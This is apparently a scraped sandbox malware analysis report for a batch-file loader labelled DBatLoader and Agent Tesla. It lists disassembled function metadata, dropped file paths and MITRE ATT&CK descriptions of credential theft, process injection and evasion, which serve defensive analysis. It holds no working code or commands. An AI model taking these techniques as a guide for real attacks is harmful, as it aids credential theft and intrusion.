Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 3d09e5343aa18fab3ca4e2e74db44cf1cccdb49efdd84c094ede33f31d65ba6e
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: 1371ffb49ce3b8dee1113081a69af0fad64233f45308895947edc3c59a7df708
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: bd76f0579c09bb0a6f952e3feb4c94488d7cfab1bd6474dd60967b9cc6db7677
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 004017E0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

EntryPoint.XRBJYLLC(80070057), ref: 004017EE

Part of subcall function 00401030: RaiseException.KERNEL32(-0000000113D97C15,00000001,00000000,00000000,00000015,2C2D8410), ref: 0040101C
Part of subcall function 00401030: GetLastError.KERNEL32 ref: 00401030

EntryPoint.XRBJYLLC(80070057), ref: 00401800
EntryPoint.XRBJYLLC(80070057), ref: 00401813
__recalloc.LIBCMT ref: 00401828
EntryPoint.XRBJYLLC(8007000E), ref: 00401839
EntryPoint.XRBJYLLC(8007000E), ref: 00401853
_calloc.LIBCMT ref: 00401861

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: EntryPoint$ErrorExceptionLastRaise__recalloc_calloc
String ID:
API String ID: 1721462702-0
Opcode ID: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction ID: 9b44c07ae4757e317c030d83b628f3e382e80143504443e1f3b2735d650bea0f
Opcode Fuzzy Hash: a5ad3cd8a15542cfcc4b59831b28fc936e8548016bd987b06b7189672beebcc8
Instruction Fuzzy Hash: AC018872500241EACA21BA229C06F1B7294DF90799F24893FF4C5762E2D63D9990D6EE

Function 00414738 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414744

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__getptd.LIBCMT ref: 0041475B
__amsg_exit.LIBCMT ref: 00414769
__lock.LIBCMT ref: 00414779

Strings

@.B, xrefs: 00414786

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID: @.B
API String ID: 3521780317-470711618
Opcode ID: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction ID: 91aff3cf2d6bbea4e2ea5d49e8e08bf0f41c3eb50374f8394f27d7b6c467aa53
Opcode Fuzzy Hash: f43c5434038c0e2b3130a40ea1e7b9b854db78837d0c16722a3a572f716d4dbb
Instruction Fuzzy Hash: 60F09631A407009BE720BB66850678D73A06F81719F91456FE4646B2D1CB7C6981CA5D

Function 0040C73D Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 0040C6C8
__fileno.LIBCMT ref: 0040C6D6
__fileno.LIBCMT ref: 0040C6E2
__fileno.LIBCMT ref: 0040C6EE
__fileno.LIBCMT ref: 0040C6FE

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __fileno$__decode_pointer__getptd_noexit__lock_file
String ID:
API String ID: 2805327698-0
Opcode ID: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
Instruction ID: db056c5abb1484b678344f3d998e50672bc49cccd6cfe868de5707b4f3f6250f
Opcode Fuzzy Hash: 0562b983a982954f07d72bd2f01eb344b0d1ff129a9d588568d63b7b4b77f5f9
Instruction Fuzzy Hash: 1A01253231451096C261ABBE5CC246E76A0DE81734726877FF024BB1D2DB3C99429E9D

Function 00413FCC Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00413FD8

Part of subcall function 00410735: __getptd_noexit.LIBCMT ref: 00410738
Part of subcall function 00410735: __amsg_exit.LIBCMT ref: 00410745

__amsg_exit.LIBCMT ref: 00413FF8
__lock.LIBCMT ref: 00414008
InterlockedDecrement.KERNEL32(?), ref: 00414025
InterlockedIncrement.KERNEL32(00422910), ref: 00414050

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction ID: 77fb08d543caf33888dccec20a3998fa005b1348dfeb798e4aa279577202aa48
Opcode Fuzzy Hash: 75ed1ba79165a940210d4fbe753a496d3ed1b888d754918a7527295a16311c61
Instruction Fuzzy Hash: 9301A531A01621ABD724AF67990579E7B60AF48764F50442BE814B72D0C77C6DC2CBDD

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMON

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: 0afeae9b27a86c2abe0b3397de8921379debd9150d07dd18b85413c6fc1de43d
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 6f84d9cc9673cc99cf3f73f605a11d8361332ed7cabd46e1548c12b7ae2e097d
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,?,?,00000000,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,00000083,00000001,?,00000000,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 0000000B.00000001.1826572703.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.1826572703.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000001.1826572703.0000000000445000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_1_400000_xrbjyllC.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report z1Transaction_ID_REF2418_cmd.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Cllyjbrx.url

C:\Users\Public\Libraries\Cllyjbrx.PIF

C:\Users\Public\Libraries\PNO

C:\Users\Public\Libraries\xrbjyllC.cmd

C:\Users\Public\Libraries\xrbjyllC.pif

C:\Users\Public\alpha.pif

C:\Users\user\AppData\Local\Temp\x.exe

C:\Users\user\AppData\Roaming\sgxIb\Loader.Log

C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe

\Device\ConDrv

Windows Analysis Report
z1Transaction_ID_REF2418_cmd.bat

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

